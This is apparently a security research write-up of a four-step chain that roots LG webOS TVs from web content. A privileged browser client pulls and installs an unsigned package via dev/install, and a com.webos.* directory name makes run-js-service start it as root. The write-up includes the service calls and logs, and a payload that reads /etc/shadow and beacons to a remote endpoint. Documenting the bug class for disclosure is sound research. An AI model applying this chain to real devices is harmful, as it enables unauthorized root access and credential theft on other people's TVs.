Case file · LG webOS TV · 2026

The jail checks your name tag, not your ID.

A browser-delivered root chain for LG webOS TVs. A privileged WAM client installs an unsigned package through dev/install; the service lands in a com.webos.* directory, so run-js-service starts it with palm_jail=off — uid 0, no Developer Mode, no signing key.

Target
OLED C2 / W23 · webOS TV
Firmware tested
43.21.94 · 10.3.1
Browser engine
Chromium 120 · V8 12.0
Result
uid=0(root)
root-proof · beacon
$ POST /rootproof
{
  "uid": 0, "gid": 0, "euid": 0,
  "id": "uid=0(root) gid=0(root)",
  "cmdline": "com.webosresearch.rootjs.service",
  "shadow_sha256":
    "412aa2b8…73ee0f8b"
}
// sha256(/etc/shadow) on the TV: identical
// install: verified=false → uid 0 
01 /

One name, two checks

installer · jailer

The installer validates the service id. The jailer reads the directory name.

What the installer checks
services.json
  id → com.webosresearch.rootjs.service
must start with <app-id>.
→ accepted
What run-js-service reads
service directory
  → com.webos.evil.service
prefix com.webos.* → palm_jail=off
→ Exec=run-js-service as root

The two checks never meet. A package may declare a harmless vendor id while its folder wears a trusted com.webos.* name. The result is a JavaScript service that the system starts as root — the directory is the credential.

02 /

Browser to uid 0

four steps · zero signatures
01

Reach a private WAM client

Content is opened in a web app that holds the LS2 private group — the hidden tinybrowser, or an ad/creative via admanager.

ssap://system.launcher/launch
{ "id": "…tinybrowser" }
02

Pull the package

The page asks the TV's own download manager for the IPK. It lands in /media/internal/downloads.

downloadmanager/download
{ target: "http://…/jailbro.ipk" }
03

Install it unsigned

dev/install is in the compat private group. No signature check, no Dev Mode token, no prompt.

dev/install
→ verified: false, state: installed
04

Start as root

The service directory selects the com.webos.* branch. Its startup code reads /etc/shadow and beacons uid 0.

run-js-service -n …/com.webos.evil.service
→ uid=0 gid=0
03 /

Receipts

W23 · webOS 10.3.1
install · live
[probe] download_result
  "completed": true
  "target": "/media/internal/downloads/jailbro-browser.ipk"

[probe] install_result
  "state": "installed"
  "verified": false
  "permissionLevel": "none"
  "packageId": "com.webosresearch.rootjs"
  "client": "com.webos.app.tinybrowser"

[POST /rootproof]
  "uid": 0, "euid": 0
  "shadow_sha256":
    "412aa2b87cba88db29c4117a767ffc7f13adcb3224e65d4e989fe00073ee0f8b"
# sha256(/etc/shadow) on the TV: same 64 bytes
✓

No signature

install reports verified: false and still reaches installed.

✓

No Dev Mode

Re-run with devmode_enabled renamed away — same install, same root service.

✓

No root in delivery

Opened over the paired SSAP API, not SSH or root luna.

✓

Root-only read

The service hashed /etc/shadow itself; the hash matches the TV's file.

sha256 /etc/shadow
412aa2b87cba88db29c4117a767ffc7f
13adcb3224e65d4e989fe00073ee0f8b
04 /

Why the console route didn't port

JSC ≠ V8

The research started with the public PS4/PS5 chains: CVE-2018-4386 (“bad-hoist”), CVE-2018-4441, the Synacktiv WebCore 0-day, and the PS5 IPv6 kernel bug. Every one is a WebKit / JavaScriptCore exploit paired with Sony's FreeBSD kernel.

The TV is Chromium 120 / V8 12.0. JSC structures, TypedArray layouts and gigacage assumptions do not exist there, so the console exploits are not portable — the useful lesson was methodological: find the privileged client reachable from web content, then abuse its native interface.

That pivot is what produced the chain above: no memory corruption required, because the TV's renderers already run with --no-sandbox.

PlatformEngineChain
PS4 ≤ 6.72WebKit / JSCJSC RCE → kernel (ip6_setpktopt)
PS4 9.00WebKit / JSCFontFace bug → exFAT kernel
PS5 3.00–4.51WebKit / JSCWebKit → IPv6 kernel (XOM/CFI)
webOS TVChromium 120 / V8dev/install → run-js-service → uid 0
05 /

Disclosure

own hardware

Research, not a weapon

JailBro is tested only on hardware we own. The rootfs is squashfs and is never written; persistence lives in /media/developer, /var and /home. Nothing here flashes firmware or touches the bootloader.

The findings are being prepared for responsible disclosure to the vendor. No exploit package, client key or device credential is published on this page. The write-up exists to document the bug class — a directory name treated as a security boundary — and to argue for a single source of truth between the installer and the jailer.

Do not point this at a device you do not own. Rooting a TV voids warranties and can break DRM playback.